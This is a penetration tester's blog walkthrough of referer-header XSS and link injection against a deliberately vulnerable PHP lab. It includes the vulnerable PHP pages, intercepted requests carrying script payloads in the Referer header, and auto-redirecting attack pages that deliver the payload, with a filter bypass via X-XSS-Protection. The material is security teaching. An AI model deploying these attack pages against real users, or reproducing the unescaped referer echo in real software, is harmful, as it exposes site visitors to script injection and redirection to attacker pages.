Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I wanted to share an example of referer XSS, as I’ve never been able to play with it before.
During an engagement earlier this year, I found an application that was vulnerable to XSS, as well as link injection, via the ‘Referer’ header. I wanted to share a way to find this vulnerability, as well as an example exploit.
For more information, you can also visit the following GitHub post or write-up.
I apologize again in advance, but the IP changes a few times during this post due to switching machines/VMs.
I started with the search page from my XSS Attack Chain post and modified it.
<html> <head> <title>Search Page</title> </head> <body> <?php $query = $_GET['q']; if (strpos($query, '\'') !== false) { header("Location: error.php"); } else { echo "<i>Your search query is:</i> $query"; } ?> <br /> <br /> <br /> <?php date_default_timezone_set("America/New_York"); // default time zone echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>"; ?> </body> </html>
As you can see, the search page displays the query parameter as expected.
Additionally, I added an error page that would display the referer header, to demonstrate the exploit.
<html> <head> <title>Error Page</title> </head> <body> We apologize for the inconvenience, but the application has encountered an error. <?php echo "<a href=\"" . $_SERVER["HTTP_REFERER"] . "\">Go back to the last known good page?</a>"; ?> <br /> <br /> If the problems persist, then please contact us! <br /> <br /> <br /> <?php date_default_timezone_set("America/New_York"); // default time zone echo "<p><b>Copyright © 2016-" . date("Y") . "</b>: <i>Ray Doyle (@doylersec) - <a href=\"https://www.doyler.net\">doyler.net</a></i></p>"; ?> </body> </html>
While I’ve contrived the error condition, it will work as a basic demo.
To cause the exploit, a user can just send a request to the following URL:
http://localhost:1234/search.php?q=test’
As you can see, the server redirects the user to error.php after this request.
To start the exploit, I created a page with the following link.
Search for test' with <a href="search.php?q=test'">this link</a>!
As you can see, the HTTP request contains the referer of the attack page.
GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8000/attack.html
Connection: close
Upgrade-Insecure-Requests: 1
When a user clicks this link, the error page contains the expected attack.html link.
First, to demonstrate this vulnerability, I intercepted the request and manually modified the referer header.
GET /error.php HTTP/1.1
Host: 192.168.5.97:1234
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.97:1234/search.php?q=test"><script>alert(1)</script>
Connection: close
Upgrade-Insecure-Requests: 1
Once the user gets to the error page, the alert fires off.
Additionally, I wanted to verify that link injection was possible. To do this, I modified the host portion of the referer header as we
Referer: http://www.google.com"><script>alert(1)</script>
When the browser loads the error page, the link on the page points to the “referer” of Google.
When the user clicks the “Go Back” button, they end up at Google as expected.
As this vulnerability requires control over the referer header, exploitation is a little different than a standard reflected XSS. You will not be sending your target a link to the vulnerable site. Instead, you will send them a link to a page under your control, that will then redirect (manually or automatically) them to the vulnerable application.
To exploit this vulnerability, I modified my attack page a bit. First, if there is no query parameter, it adds one to the URL. This will allow for the automatic exploitation of the error page.
<html> <head> <title>Attack Page</title> </head> <body> <script> if (window.location.search.length == 0) { window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>"; } </script> Search for test' with <a href="http://10.0.0.164:1234/search.php?q=test'">this link</a>! <br /> <br /> </body> </html>
Unfortunately, when a user clicks on this link, the payload ends up URL encoded.
That said, Internet Explorer should not automatically encode the special characters in the URL. Unfortunately, this is no longer the case in IE11.
That said, once I visited the attack page in IE8, the exploit was successful!
As you can see, the source code contains the un-modified payload.
It is also possible to completely automate this attack, and not require the user to click another link on your malicious page.
First, I modified my attack page to include an auto-submitted form to the search page.
<body> <form id="exploit" name="exploit" method="GET" action="http://10.0.0.164:1234/search.php"> <input type="hidden" name="q" value="'" /> </form> <script> if (window.location.search.length == 0) { window.location.href = window.location.href = "?exploit=\"><script>alert(1)<\/script>"; } else { document.getElementById('exploit').submit(); } </script> </body>
Unfortunately, when a user visited this page in IE8, the XSS filter prevented the ‘else’ statement from executing.
That said, I verified that the full redirect was happening within a Chrome tab.
Instead of messing around with XSS Filter bypasses, I modified my malicious server using the following StackOverflow answer. As I have control over the malicious server, it is simple enough for me to set X-XSS-Protection to 0, and bypass the filter.
Once a user clicks on the link to my attack.html page now, their browser redirects them to the vulnerable error page with a full exploit!
While this is an attack that will only work against older versions of Internet Explorer, I still think it was a fun one.
I actually had a former co-worker run across this vulnerability recently, so it does exist in the wild.
More blog posts are on the way, including a few XSS filter posts, so stay tuned!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.